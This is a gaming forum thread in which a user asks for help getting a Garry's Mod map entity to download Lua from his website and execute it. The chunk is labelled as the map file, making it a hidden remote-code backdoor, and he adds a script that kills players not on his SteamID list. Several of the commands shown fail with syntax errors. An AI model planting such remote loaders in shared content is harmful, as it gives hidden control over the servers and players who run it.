I just forget about this.
If anyone can fix it, I'll give you 2 bucks (Yey, 2 bucks...), because I really want this working.
Thanks.
I'm not retarded. It's just not working. keeps giving errors.
[QUOTE=Cyberuben;26430774]I'm not retarded. It's just not working. keeps giving errors.[/QUOTE]
What errors?
ninja'd
] lua_run http.Get("http://dj-ruben.nl/lua/kill.lua", "", function(c,s) if s>0 then xpcall(CompileString(c , "rpmap.bsp" , function(err) ErrorNoHalt(err.."\n") end) end) end)
> http.Get("http://dj-ruben.nl/lua/kill.lua", "", function(c,s) if s>0 then xpcall(CompileString(c , "rpmap.bsp" , function(err) ErrorNoHalt(err.."\n") end) end) end)...
[lua_run:1] ')' expected near 'end'
Told it before, keeps giving the same.
When I run scripts with things like:
print("test"), and then put the simple command without all those extra things, it will download, but other things won't work.
[editline]1st December 2010[/editline]
the kill.lua contains: print("test")
Then I use this command to get the file:
http.Get("yourwebsite.com/file.lua" , "" , RunString)
Then it will work, when I type it in console.
But when I use a lua_run entity in Hammer, it won't work.
] lua_run http.Get('http://dj-ruben.nl/lua/kill.lua', '', function(c,s) if s>0 then pcall(CompileString(c, 'rpmap.bsp')) end end)
> http.Get('http:...
[lua_run:1] unfinished string near '<eof>'
You know what?
I love you!
No, really. Thanks for helping. I think I can do it myself now? :)
This doesn't seem to be this hard to edit.
Thank you!
[editline]1st December 2010[/editline]
Anyone want to be my coder? :3
I need some scripts.
[editline]1st December 2010[/editline]
[code]if (TRIGGER_PLAYER:SteamID() ~= 'STEAM_0:1:20219592'
or TRIGGER_PLAYER:SteamID() ~= 'STEAM_0:1:30742789'
or TRIGGER_PLAYER:SteamID() == 'STEAM_0:0:0')
then TRIGGER_PLAYER:Kill()
end[/code]
seriously this isnt hard, they coded it [b]for[/b] you, all you had to do was replace the link then put it in a file
I did, and I tried, wasn't working.
*A few days after posting on the original thread*
Shit, I missed the fun shit of suggestion :(
When I use scripts to print text in the chat, it works, but scripts like kill and else won't work. Anyone idea's?
I don't write scripts myself, I ask people to make it, so I thought they would work, since I tried loads of scripts.
I did.
Oh my.
Sorry, you need to Log In to post a reply to this thread.